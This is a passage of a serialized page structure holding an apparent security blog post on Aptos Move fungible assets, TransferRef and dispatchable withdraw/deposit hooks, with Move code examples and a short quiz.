",{"type":22,"tag":257,"props":66736,"children":66738},{"className":66737},[],[66739],{"type":27,"value":63398},{"type":27,"value":66741}," is toggled using a ",{"type":22,"tag":257,"props":66743,"children":66745},{"className":66744},[],[66746],{"type":27,"value":66747},"TransferRef",{"type":27,"value":66749},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":22,"tag":618,"props":66751,"children":66753},{"className":4274,"code":66752,"language":4273,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[66754],{"type":22,"tag":257,"props":66755,"children":66756},{"__ignoreMap":7},[66757,66793,66817,66844,66863],{"type":22,"tag":264,"props":66758,"children":66759},{"class":1534,"line":1535},[66760,66764,66768,66773,66777,66781,66785,66789],{"type":22,"tag":264,"props":66761,"children":66762},{"style":1549},[66763],{"type":27,"value":62997},{"type":22,"tag":264,"props":66765,"children":66766},{"style":1549},[66767],{"type":27,"value":7499},{"type":22,"tag":264,"props":66769,"children":66770},{"style":1549},[66771],{"type":27,"value":66772}," set_frozen_flag",{"type":22,"tag":264,"props":66774,"children":66775},{"style":1539},[66776],{"type":27,"value":7097},{"type":22,"tag":264,"props":66778,"children":66779},{"style":4722},[66780],{"type":27,"value":7279},{"type":22,"tag":264,"props":66782,"children":66783},{"style":4309},[66784],{"type":27,"value":5785},{"type":22,"tag":264,"props":66786,"children":66787},{"style":1549},[66788],{"type":27,"value":7223},{"type":22,"tag":264,"props":66790,"children":66791},{"style":1539},[66792],{"type":27,"value":7881},{"type":22,"tag":264,"props":66794,"children":66795},{"class":1534,"line":1545},[66796,66801,66805,66809,66813],{"type":22,"tag":264,"props":66797,"children":66798},{"style":4293},[66799],{"type":27,"value":66800},"    ref",{"type":22,"tag":264,"props":66802,"children":66803},{"style":4309},[66804],{"type":27,"value":5785},{"type":22,"tag":264,"props":66806,"children":66807},{"style":4309},[66808],{"type":27,"value":8434},{"type":22,"tag":264,"props":66810,"children":66811},{"style":4722},[66812],{"type":27,"value":66747},{"type":22,"tag":264,"props":66814,"children":66815},{"style":1539},[66816],{"type":27,"value":4812},{"type":22,"tag":264,"props":66818,"children":66819},{"class":1534,"line":1560},[66820,66824,66828,66832,66836,66840],{"type":22,"tag":264,"props":66821,"children":66822},{"style":1549},[66823],{"type":27,"value":30727},{"type":22,"tag":264,"props":66825,"children":66826},{"style":4309},[66827],{"type":27,"value":5785},{"type":22,"tag":264,"props":66829,"children":66830},{"style":4722},[66831],{"type":27,"value":62883},{"type":22,"tag":264,"props":66833,"children":66834},{"style":1539},[66835],{"type":27,"value":7097},{"type":22,"tag":264,"props":66837,"children":66838},{"style":4722},[66839],{"type":27,"value":7279},{"type":22,"tag":264,"props":66841,"children":66842},{"style":1539},[66843],{"type":27,"value":7430},{"type":22,"tag":264,"props":66845,"children":66846},{"class":1534,"line":1569},[66847,66851,66855,66859],{"type":22,"tag":264,"props":66848,"children":66849},{"style":1549},[66850],{"type":27,"value":62535},{"type":22,"tag":264,"props":66852,"children":66853},{"style":4309},[66854],{"type":27,"value":5785},{"type":22,"tag":264,"props":66856,"children":66857},{"style":4722},[66858],{"type":27,"value":13349},{"type":22,"tag":264,"props":66860,"children":66861},{"style":1539},[66862],{"type":27,"value":4812},{"type":22,"tag":264,"props":66864,"children":66865},{"class":1534,"line":1583},[66866],{"type":22,"tag":264,"props":66867,"children":66868},{"style":1539},[66869],{"type":27,"value":4463},{"type":22,"tag":23,"props":66871,"children":66872},{},[66873,66874,66879,66880,66885],{"type":27,"value":17914},{"type":22,"tag":257,"props":66875,"children":66877},{"className":66876},[],[66878],{"type":27,"value":50171},{"type":27,"value":7750},{"type":22,"tag":257,"props":66881,"children":66883},{"className":66882},[],[66884],{"type":27,"value":66747},{"type":27,"value":66886}," is used to transfer object ownership:",{"type":22,"tag":618,"props":66888,"children":66890},{"className":4274,"code":66889,"language":4273,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[66891],{"type":22,"tag":257,"props":66892,"children":66893},{"__ignoreMap":7},[66894,66902,66935,66954],{"type":22,"tag":264,"props":66895,"children":66896},{"class":1534,"line":1535},[66897],{"type":22,"tag":264,"props":66898,"children":66899},{"style":4284},[66900],{"type":27,"value":66901},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":22,"tag":264,"props":66903,"children":66904},{"class":1534,"line":1545},[66905,66909,66914,66918,66923,66927,66931],{"type":22,"tag":264,"props":66906,"children":66907},{"style":4293},[66908],{"type":27,"value":10699},{"type":22,"tag":264,"props":66910,"children":66911},{"style":4722},[66912],{"type":27,"value":66913}," TransferRef",{"type":22,"tag":264,"props":66915,"children":66916},{"style":1549},[66917],{"type":27,"value":10708},{"type":22,"tag":264,"props":66919,"children":66920},{"style":1549},[66921],{"type":27,"value":66922}," drop",{"type":22,"tag":264,"props":66924,"children":66925},{"style":1539},[66926],{"type":27,"value":4380},{"type":22,"tag":264,"props":66928,"children":66929},{"style":1549},[66930],{"type":27,"value":7232},{"type":22,"tag":264,"props":66932,"children":66933},{"style":1539},[66934],{"type":27,"value":4594},{"type":22,"tag":264,"props":66936,"children":66937},{"class":1534,"line":1560},[66938,66942,66946,66950],{"type":22,"tag":264,"props":66939,"children":66940},{"style":4293},[66941],{"type":27,"value":22093},{"type":22,"tag":264,"props":66943,"children":66944},{"style":4309},[66945],{"type":27,"value":5785},{"type":22,"tag":264,"props":66947,"children":66948},{"style":1549},[66949],{"type":27,"value":7542},{"type":22,"tag":264,"props":66951,"children":66952},{"style":1539},[66953],{"type":27,"value":4812},{"type":22,"tag":264,"props":66955,"children":66956},{"class":1534,"line":1569},[66957],{"type":22,"tag":264,"props":66958,"children":66959},{"style":1539},[66960],{"type":27,"value":1692},{"type":22,"tag":23,"props":66962,"children":66963},{},[66964,66966,66971],{"type":27,"value":66965},"While the fungible asset's ",{"type":22,"tag":257,"props":66967,"children":66969},{"className":66968},[],[66970],{"type":27,"value":66747},{"type":27,"value":66972}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":22,"tag":618,"props":66974,"children":66976},{"className":4274,"code":66975,"language":4273,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[66977],{"type":22,"tag":257,"props":66978,"children":66979},{"__ignoreMap":7},[66980,66988,66996,67027,67054],{"type":22,"tag":264,"props":66981,"children":66982},{"class":1534,"line":1535},[66983],{"type":22,"tag":264,"props":66984,"children":66985},{"style":4284},[66986],{"type":27,"value":66987},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":22,"tag":264,"props":66989,"children":66990},{"class":1534,"line":1545},[66991],{"type":22,"tag":264,"props":66992,"children":66993},{"style":4284},[66994],{"type":27,"value":66995},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":22,"tag":264,"props":66997,"children":66998},{"class":1534,"line":1560},[66999,67003,67007,67011,67015,67019,67023],{"type":22,"tag":264,"props":67000,"children":67001},{"style":4293},[67002],{"type":27,"value":10699},{"type":22,"tag":264,"props":67004,"children":67005},{"style":4722},[67006],{"type":27,"value":66913},{"type":22,"tag":264,"props":67008,"children":67009},{"style":1549},[67010],{"type":27,"value":10708},{"type":22,"tag":264,"props":67012,"children":67013},{"style":1549},[67014],{"type":27,"value":66922},{"type":22,"tag":264,"props":67016,"children":67017},{"style":1539},[67018],{"type":27,"value":4380},{"type":22,"tag":264,"props":67020,"children":67021},{"style":1549},[67022],{"type":27,"value":7232},{"type":22,"tag":264,"props":67024,"children":67025},{"style":1539},[67026],{"type":27,"value":4594},{"type":22,"tag":264,"props":67028,"children":67029},{"class":1534,"line":1569},[67030,67034,67038,67042,67046,67050],{"type":22,"tag":264,"props":67031,"children":67032},{"style":1549},[67033],{"type":27,"value":62874},{"type":22,"tag":264,"props":67035,"children":67036},{"style":4309},[67037],{"type":27,"value":5785},{"type":22,"tag":264,"props":67039,"children":67040},{"style":4722},[67041],{"type":27,"value":62883},{"type":22,"tag":264,"props":67043,"children":67044},{"style":1539},[67045],{"type":27,"value":7097},{"type":22,"tag":264,"props":67047,"children":67048},{"style":4722},[67049],{"type":27,"value":62892},{"type":22,"tag":264,"props":67051,"children":67052},{"style":1539},[67053],{"type":27,"value":7284},{"type":22,"tag":264,"props":67055,"children":67056},{"class":1534,"line":1583},[67057],{"type":22,"tag":264,"props":67058,"children":67059},{"style":1539},[67060],{"type":27,"value":1692},{"type":22,"tag":23,"props":67062,"children":67063},{},[67064,67066,67072,67074,67080],{"type":27,"value":67065},"Additionally, there are fungible asset-specific references such as ",{"type":22,"tag":257,"props":67067,"children":67069},{"className":67068},[],[67070],{"type":27,"value":67071},"MintRef",{"type":27,"value":67073}," for minting and ",{"type":22,"tag":257,"props":67075,"children":67077},{"className":67076},[],[67078],{"type":27,"value":67079},"BurnRef",{"type":27,"value":67081}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":22,"tag":169,"props":67083,"children":67085},{"id":67084},"dispatchable-fungible-assets",[67086],{"type":27,"value":67087},"Dispatchable fungible assets",{"type":22,"tag":23,"props":67089,"children":67090},{},[67091],{"type":27,"value":67092},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":22,"tag":23,"props":67094,"children":67095},{},[67096],{"type":27,"value":67097},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":22,"tag":67099,"props":67100,"children":67101},"warning",{},[67102],{"type":22,"tag":23,"props":67103,"children":67104},{},[67105,67107,67113],{"type":27,"value":67106},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":22,"tag":257,"props":67108,"children":67110},{"className":67109},[],[67111],{"type":27,"value":67112},"transfer_assert_minimum_deposit",{"type":27,"value":67114}," that can help mitigate such risks.",{"type":22,"tag":23,"props":67116,"children":67117},{},[67118,67120,67125,67127,67134],{"type":27,"value":67119},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":22,"tag":257,"props":67121,"children":67123},{"className":67122},[],[67124],{"type":27,"value":62997},{"type":27,"value":67126}," to ensure ",{"type":22,"tag":69,"props":67128,"children":67131},{"href":67129,"rel":67130},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[73],[67132],{"type":27,"value":67133},"their signature remains immutable",{"type":27,"value":67135},". An example implementation might look like this:",{"type":22,"tag":618,"props":67137,"children":67139},{"className":4274,"code":67138,"language":4273,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[67140],{"type":22,"tag":257,"props":67141,"children":67142},{"__ignoreMap":7},[67143,67179,67206,67225,67249,67268,67276,67322,67329,67336,67372,67399,67419,67442,67449,67456,67500],{"type":22,"tag":264,"props":67144,"children":67145},{"class":1534,"line":1535},[67146,67150,67154,67159,67163,67167,67171,67175],{"type":22,"tag":264,"props":67147,"children":67148},{"style":1549},[67149],{"type":27,"value":62997},{"type":22,"tag":264,"props":67151,"children":67152},{"style":1549},[67153],{"type":27,"value":7499},{"type":22,"tag":264,"props":67155,"children":67156},{"style":1549},[67157],{"type":27,"value":67158}," withdraw_hook",{"type":22,"tag":264,"props":67160,"children":67161},{"style":1539},[67162],{"type":27,"value":7097},{"type":22,"tag":264,"props":67164,"children":67165},{"style":4722},[67166],{"type":27,"value":7279},{"type":22,"tag":264,"props":67168,"children":67169},{"style":4309},[67170],{"type":27,"value":5785},{"type":22,"tag":264,"props":67172,"children":67173},{"style":1549},[67174],{"type":27,"value":7223},{"type":22,"tag":264,"props":67176,"children":67177},{"style":1539},[67178],{"type":27,"value":7881},{"type":22,"tag":264,"props":67180,"children":67181},{"class":1534,"line":1545},[67182,67186,67190,67194,67198,67202],{"type":22,"tag":264,"props":67183,"children":67184},{"style":1549},[67185],{"type":27,"value":30727},{"type":22,"tag":264,"props":67187,"children":67188},{"style":4309},[67189],{"type":27,"value":5785},{"type":22,"tag":264,"props":67191,"children":67192},{"style":4722},[67193],{"type":27,"value":62883},{"type":22,"tag":264,"props":67195,"children":67196},{"style":1539},[67197],{"type":27,"value":7097},{"type":22,"tag":264,"props":67199,"children":67200},{"style":4722},[67201],{"type":27,"value":7279},{"type":22,"tag":264,"props":67203,"children":67204},{"style":1539},[67205],{"type":27,"value":7430},{"type":22,"tag":264,"props":67207,"children":67208},{"class":1534,"line":1560},[67209,67213,67217,67221],{"type":22,"tag":264,"props":67210,"children":67211},{"style":1549},[67212],{"type":27,"value":62904},{"type":22,"tag":264,"props":67214,"children":67215},{"style":4309},[67216],{"type":27,"value":5785},{"type":22,"tag":264,"props":67218,"children":67219},{"style":4722},[67220],{"type":27,"value":7151},{"type":22,"tag":264,"props":67222,"children":67223},{"style":1539},[67224],{"type":27,"value":4812},{"type":22,"tag":264,"props":67226,"children":67227},{"class":1534,"line":1569},[67228,67233,67237,67241,67245],{"type":22,"tag":264,"props":67229,"children":67230},{"style":1549},[67231],{"type":27,"value":67232},"    transfer_ref",{"type":22,"tag":264,"props":67234,"children":67235},{"style":4309},[67236],{"type":27,"value":5785},{"type":22,"tag":264,"props":67238,"children":67239},{"style":4309},[67240],{"type":27,"value":8434},{"type":22,"tag":264,"props":67242,"children":67243},{"style":4722},[67244],{"type":27,"value":66747},{"type":22,"tag":264,"props":67246,"children":67247},{"style":1539},[67248],{"type":27,"value":4812},{"type":22,"tag":264,"props":67250,"children":67251},{"class":1534,"line":1583},[67252,67256,67260,67264],{"type":22,"tag":264,"props":67253,"children":67254},{"style":1539},[67255],{"type":27,"value":2806},{"type":22,"tag":264,"props":67257,"children":67258},{"style":4309},[67259],{"type":27,"value":5785},{"type":22,"tag":264,"props":67261,"children":67262},{"style":4722},[67263],{"type":27,"value":62862},{"type":22,"tag":264,"props":67265,"children":67266},{"style":1539},[67267],{"type":27,"value":4594},{"type":22,"tag":264,"props":67269,"children":67270},{"class":1534,"line":1603},[67271],{"type":22,"tag":264,"props":67272,"children":67273},{"style":4284},[67274],{"type":27,"value":67275},"    //check paused, gather fees etc.\n",{"type":22,"tag":264,"props":67277,"children":67278},{"class":1534,"line":1612},[67279,67284,67288,67293,67297,67302,67306,67310,67314,67318],{"type":22,"tag":264,"props":67280,"children":67281},{"style":1539},[67282],{"type":27,"value":67283},"    fungible_asset",{"type":22,"tag":264,"props":67285,"children":67286},{"style":4309},[67287],{"type":27,"value":4785},{"type":22,"tag":264,"props":67289,"children":67290},{"style":4401},[67291],{"type":27,"value":67292},"withdraw_with_ref",{"type":22,"tag":264,"props":67294,"children":67295},{"style":1539},[67296],{"type":27,"value":2660},{"type":22,"tag":264,"props":67298,"children":67299},{"style":1549},[67300],{"type":27,"value":67301},"transfer_ref",{"type":22,"tag":264,"props":67303,"children":67304},{"style":1539},[67305],{"type":27,"value":4380},{"type":22,"tag":264,"props":67307,"children":67308},{"style":1549},[67309],{"type":27,"value":7232},{"type":22,"tag":264,"props":67311,"children":67312},{"style":1539},[67313],{"type":27,"value":4380},{"type":22,"tag":264,"props":67315,"children":67316},{"style":1549},[67317],{"type":27,"value":21613},{"type":22,"tag":264,"props":67319,"children":67320},{"style":1539},[67321],{"type":27,"value":4463},{"type":22,"tag":264,"props":67323,"children":67324},{"class":1534,"line":1621},[67325],{"type":22,"tag":264,"props":67326,"children":67327},{"style":1539},[67328],{"type":27,"value":1692},{"type":22,"tag":264,"props":67330,"children":67331},{"class":1534,"line":1629},[67332],{"type":22,"tag":264,"props":67333,"children":67334},{"emptyLinePlaceholder":17},[67335],{"type":27,"value":4986},{"type":22,"tag":264,"props":67337,"children":67338},{"class":1534,"line":1642},[67339,67343,67347,67352,67356,67360,67364,67368],{"type":22,"tag":264,"props":67340,"children":67341},{"style":1549},[67342],{"type":27,"value":62997},{"type":22,"tag":264,"props":67344,"children":67345},{"style":1549},[67346],{"type":27,"value":7499},{"type":22,"tag":264,"props":67348,"children":67349},{"style":1549},[67350],{"type":27,"value":67351}," deposit_hook",{"type":22,"tag":264,"props":67353,"children":67354},{"style":1539},[67355],{"type":27,"value":7097},{"type":22,"tag":264,"props":67357,"children":67358},{"style":4722},[67359],{"type":27,"value":7279},{"type":22,"tag":264,"props":67361,"children":67362},{"style":4309},[67363],{"type":27,"value":5785},{"type":22,"tag":264,"props":67365,"children":67366},{"style":1549},[67367],{"type":27,"value":7223},{"type":22,"tag":264,"props":67369,"children":67370},{"style":1539},[67371],{"type":27,"value":7881},{"type":22,"tag":264,"props":67373,"children":67374},{"class":1534,"line":1660},[67375,67379,67383,67387,67391,67395],{"type":22,"tag":264,"props":67376,"children":67377},{"style":1549},[67378],{"type":27,"value":30727},{"type":22,"tag":264,"props":67380,"children":67381},{"style":4309},[67382],{"type":27,"value":5785},{"type":22,"tag":264,"props":67384,"children":67385},{"style":4722},[67386],{"type":27,"value":62883},{"type":22,"tag":264,"props":67388,"children":67389},{"style":1539},[67390],{"type":27,"value":7097},{"type":22,"tag":264,"props":67392,"children":67393},{"style":4722},[67394],{"type":27,"value":7279},{"type":22,"tag":264,"props":67396,"children":67397},{"style":1539},[67398],{"type":27,"value":7430},{"type":22,"tag":264,"props":67400,"children":67401},{"class":1534,"line":1668},[67402,67407,67411,67415],{"type":22,"tag":264,"props":67403,"children":67404},{"style":1549},[67405],{"type":27,"value":67406},"    fa",{"type":22,"tag":264,"props":67408,"children":67409},{"style":4309},[67410],{"type":27,"value":5785},{"type":22,"tag":264,"props":67412,"children":67413},{"style":4722},[67414],{"type":27,"value":62862},{"type":22,"tag":264,"props":67416,"children":67417},{"style":1539},[67418],{"type":27,"value":4812},{"type":22,"tag":264,"props":67420,"children":67421},{"class":1534,"line":1677},[67422,67426,67430,67434,67438],{"type":22,"tag":264,"props":67423,"children":67424},{"style":1549},[67425],{"type":27,"value":67232},{"type":22,"tag":264,"props":67427,"children":67428},{"style":4309},[67429],{"type":27,"value":5785},{"type":22,"tag":264,"props":67431,"children":67432},{"style":4309},[67433],{"type":27,"value":8434},{"type":22,"tag":264,"props":67435,"children":67436},{"style":4722},[67437],{"type":27,"value":66747},{"type":22,"tag":264,"props":67439,"children":67440},{"style":1539},[67441],{"type":27,"value":4812},{"type":22,"tag":264,"props":67443,"children":67444},{"class":1534,"line":1686},[67445],{"type":22,"tag":264,"props":67446,"children":67447},{"style":1539},[67448],{"type":27,"value":16103},{"type":22,"tag":264,"props":67450,"children":67451},{"class":1534,"line":4948},[67452],{"type":22,"tag":264,"props":67453,"children":67454},{"style":4284},[67455],{"type":27,"value":67275},{"type":22,"tag":264,"props":67457,"children":67458},{"class":1534,"line":4957},[67459,67463,67467,67472,67476,67480,67484,67488,67492,67496],{"type":22,"tag":264,"props":67460,"children":67461},{"style":1539},[67462],{"type":27,"value":67283},{"type":22,"tag":264,"props":67464,"children":67465},{"style":4309},[67466],{"type":27,"value":4785},{"type":22,"tag":264,"props":67468,"children":67469},{"style":4401},[67470],{"type":27,"value":67471},"deposit_with_ref",{"type":22,"tag":264,"props":67473,"children":67474},{"style":1539},[67475],{"type":27,"value":2660},{"type":22,"tag":264,"props":67477,"children":67478},{"style":1549},[67479],{"type":27,"value":67301},{"type":22,"tag":264,"props":67481,"children":67482},{"style":1539},[67483],{"type":27,"value":4380},{"type":22,"tag":264,"props":67485,"children":67486},{"style":1549},[67487],{"type":27,"value":7232},{"type":22,"tag":264,"props":67489,"children":67490},{"style":1539},[67491],{"type":27,"value":4380},{"type":22,"tag":264,"props":67493,"children":67494},{"style":1549},[67495],{"type":27,"value":63055},{"type":22,"tag":264,"props":67497,"children":67498},{"style":1539},[67499],{"type":27,"value":5142},{"type":22,"tag":264,"props":67501,"children":67502},{"class":1534,"line":4980},[67503],{"type":22,"tag":264,"props":67504,"children":67505},{"style":1539},[67506],{"type":27,"value":1692},{"type":22,"tag":67508,"props":67509,"children":67510},"question",{},[67511,67538],{"type":22,"tag":23,"props":67512,"children":67513},{},[67514,67516,67522,67524,67530,67531,67537],{"type":27,"value":67515},"Why hook functions rely on ",{"type":22,"tag":257,"props":67517,"children":67519},{"className":67518},[],[67520],{"type":27,"value":67521},"*_with_ref",{"type":27,"value":67523}," calls? What would happen if the hook function called ",{"type":22,"tag":257,"props":67525,"children":67527},{"className":67526},[],[67528],{"type":27,"value":67529},"dispatchable_fungible_asset::withdraw",{"type":27,"value":18095},{"type":22,"tag":257,"props":67532,"children":67534},{"className":67533},[],[67535],{"type":27,"value":67536},"fungible_asset::withdraw_with_ref",{"type":27,"value":4458},{"type":22,"tag":67539,"props":67540,"children":67541},"template",{"v-slot:answer-0":7},[67542,67554],{"type":22,"tag":23,"props":67543,"children":67544},{},[67545,67547,67552],{"type":27,"value":67546},"A1: Hook functions rely on ",{"type":22,"tag":257,"props":67548,"children":67550},{"className":67549},[],[67551],{"type":27,"value":67521},{"type":27,"value":67553}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":22,"tag":23,"props":67555,"children":67556},{},[67557,67559,67564],{"type":27,"value":67558},"A2: A ",{"type":22,"tag":257,"props":67560,"children":67562},{"className":67561},[],[67563],{"type":27,"value":67529},{"type":27,"value":67565}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":22,"tag":23,"props":67567,"children":67568},{},[67569],{"type":27,"value":67570},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":22,"tag":618,"props":67572,"children":67574},{"className":4274,"code":67573,"language":4273,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[67575],{"type":22,"tag":257,"props":67576,"children":67577},{"__ignoreMap":7},[67578,67673,67693,67708,67728,67771,67786,67793,67800,67919,67938,67953,67972,68015],{"type":22,"tag":264,"props":67579,"children":67580},{"class":1534,"line":1535},[67581,67585,67589,67593,67597,67601,67605,67609,67613,67617,67621,67625,67629,67633,67637,67641,67645,67649,67653,67657,67661,67665,67669],{"type":22,"tag":264,"props":67582,"children":67583},{"style":1549},[67584],{"type":27,"value":62997},{"type":22,"tag":264,"props":67586,"children":67587},{"style":1549},[67588],{"type":27,"value":7499},{"type":22,"tag":264,"props":67590,"children":67591},{"style":1549},[67592],{"type":27,"value":63006},{"type":22,"tag":264,"props":67594,"children":67595},{"style":1539},[67596],{"type":27,"value":7097},{"type":22,"tag":264,"props":67598,"children":67599},{"style":4722},[67600],{"type":27,"value":7279},{"type":22,"tag":264,"props":67602,"children":67603},{"style":4309},[67604],{"type":27,"value":5785},{"type":22,"tag":264,"props":67606,"children":67607},{"style":1549},[67608],{"type":27,"value":7223},{"type":22,"tag":264,"props":67610,"children":67611},{"style":1539},[67612],{"type":27,"value":8904},{"type":22,"tag":264,"props":67614,"children":67615},{"style":1549},[67616],{"type":27,"value":7232},{"type":22,"tag":264,"props":67618,"children":67619},{"style":4309},[67620],{"type":27,"value":5785},{"type":22,"tag":264,"props":67622,"children":67623},{"style":4722},[67624],{"type":27,"value":62883},{"type":22,"tag":264,"props":67626,"children":67627},{"style":1539},[67628],{"type":27,"value":7097},{"type":22,"tag":264,"props":67630,"children":67631},{"style":4722},[67632],{"type":27,"value":7279},{"type":22,"tag":264,"props":67634,"children":67635},{"style":1539},[67636],{"type":27,"value":7923},{"type":22,"tag":264,"props":67638,"children":67639},{"style":1549},[67640],{"type":27,"value":63055},{"type":22,"tag":264,"props":67642,"children":67643},{"style":4309},[67644],{"type":27,"value":5785},{"type":22,"tag":264,"props":67646,"children":67647},{"style":4722},[67648],{"type":27,"value":62862},{"type":22,"tag":264,"props":67650,"children":67651},{"style":1539},[67652],{"type":27,"value":4380},{"type":22,"tag":264,"props":67654,"children":67655},{"style":1549},[67656],{"type":27,"value":67301},{"type":22,"tag":264,"props":67658,"children":67659},{"style":4309},[67660],{"type":27,"value":5785},{"type":22,"tag":264,"props":67662,"children":67663},{"style":4309},[67664],{"type":27,"value":8434},{"type":22,"tag":264,"props":67666,"children":67667},{"style":4722},[67668],{"type":27,"value":66747},{"type":22,"tag":264,"props":67670,"children":67671},{"style":1539},[67672],{"type":27,"value":16103},{"type":22,"tag":264,"props":67674,"children":67675},{"class":1534,"line":1545},[67676,67681,67685,67689],{"type":22,"tag":264,"props":67677,"children":67678},{"style":4401},[67679],{"type":27,"value":67680},"    assert_withdraw_flag",{"type":22,"tag":264,"props":67682,"children":67683},{"style":1539},[67684],{"type":27,"value":2660},{"type":22,"tag":264,"props":67686,"children":67687},{"style":4293},[67688],{"type":27,"value":273},{"type":22,"tag":264,"props":67690,"children":67691},{"style":1539},[67692],{"type":27,"value":5142},{"type":22,"tag":264,"props":67694,"children":67695},{"class":1534,"line":1560},[67696,67700,67704],{"type":22,"tag":264,"props":67697,"children":67698},{"style":1539},[67699],{"type":27,"value":64040},{"type":22,"tag":264,"props":67701,"children":67702},{"style":4309},[67703],{"type":27,"value":10889},{"type":22,"tag":264,"props":67705,"children":67706},{"style":1539},[67707],{"type":27,"value":13071},{"type":22,"tag":264,"props":67709,"children":67710},{"class":1534,"line":1569},[67711,67716,67720,67724],{"type":22,"tag":264,"props":67712,"children":67713},{"style":4401},[67714],{"type":27,"value":67715},"    set_withdraw_flag",{"type":22,"tag":264,"props":67717,"children":67718},{"style":1539},[67719],{"type":27,"value":2660},{"type":22,"tag":264,"props":67721,"children":67722},{"style":4293},[67723],{"type":27,"value":9469},{"type":22,"tag":264,"props":67725,"children":67726},{"style":1539},[67727],{"type":27,"value":5142},{"type":22,"tag":264,"props":67729,"children":67730},{"class":1534,"line":1583},[67731,67735,67739,67743,67747,67751,67755,67759,67763,67767],{"type":22,"tag":264,"props":67732,"children":67733},{"style":1539},[67734],{"type":27,"value":67283},{"type":22,"tag":264,"props":67736,"children":67737},{"style":4309},[67738],{"type":27,"value":4785},{"type":22,"tag":264,"props":67740,"children":67741},{"style":4401},[67742],{"type":27,"value":67471},{"type":22,"tag":264,"props":67744,"children":67745},{"style":1539},[67746],{"type":27,"value":2660},{"type":22,"tag":264,"props":67748,"children":67749},{"style":1549},[67750],{"type":27,"value":67301},{"type":22,"tag":264,"props":67752,"children":67753},{"style":1539},[67754],{"type":27,"value":4380},{"type":22,"tag":264,"props":67756,"children":67757},{"style":1549},[67758],{"type":27,"value":7232},{"type":22,"tag":264,"props":67760,"children":67761},{"style":1539},[67762],{"type":27,"value":4380},{"type":22,"tag":264,"props":67764,"children":67765},{"style":1549},[67766],{"type":27,"value":21613},{"type":22,"tag":264,"props":67768,"children":67769},{"style":1539},[67770],{"type":27,"value":5142},{"type":22,"tag":264,"props":67772,"children":67773},{"class":1534,"line":1603},[67774,67778,67782],{"type":22,"tag":264,"props":67775,"children":67776},{"style":1539},[67777],{"type":27,"value":64040},{"type":22,"tag":264,"props":67779,"children":67780},{"style":4309},[67781],{"type":27,"value":10889},{"type":22,"tag":264,"props":67783,"children":67784},{"style":1539},[67785],{"type":27,"value":13071},{"type":22,"tag":264,"props":67787,"children":67788},{"class":1534,"line":1612},[67789],{"type":22,"tag":264,"props":67790,"children":67791},{"style":1539},[67792],{"type":27,"value":1674},{"type":22,"tag":264,"props":67794,"children":67795},{"class":1534,"line":1621},[67796],{"type":22,"tag":264,"props":67797,"children":67798},{"emptyLinePlaceholder":17},[67799],{"type":27,"value":4986},{"type":22,"tag":264,"props":67801,"children":67802},{"class":1534,"line":1629},[67803,67807,67811,67815,67819,67823,67827,67831,67835,67839,67843,67847,67851,67855,67859,67863,67867,67871,67875,67879,67883,67887,67891,67895,67899,67903,67907,67911,67915],{"type":22,"tag":264,"props":67804,"children":67805},{"style":1549},[67806],{"type":27,"value":62997},{"type":22,"tag":264,"props":67808,"children":67809},{"style":1549},[67810],{"type":27,"value":7499},{"type":22,"tag":264,"props":67812,"children":67813},{"style":1549},[67814],{"type":27,"value":21578},{"type":22,"tag":264,"props":67816,"children":67817},{"style":1539},[67818],{"type":27,"value":7097},{"type":22,"tag":264,"props":67820,"children":67821},{"style":4722},[67822],{"type":27,"value":7279},{"type":22,"tag":264,"props":67824,"children":67825},{"style":4309},[67826],{"type":27,"value":5785},{"type":22,"tag":264,"props":67828,"children":67829},{"style":1549},[67830],{"type":27,"value":7223},{"type":22,"tag":264,"props":67832,"children":67833},{"style":1539},[67834],{"type":27,"value":8904},{"type":22,"tag":264,"props":67836,"children":67837},{"style":1549},[67838],{"type":27,"value":7232},{"type":22,"tag":264,"props":67840,"children":67841},{"style":4309},[67842],{"type":27,"value":5785},{"type":22,"tag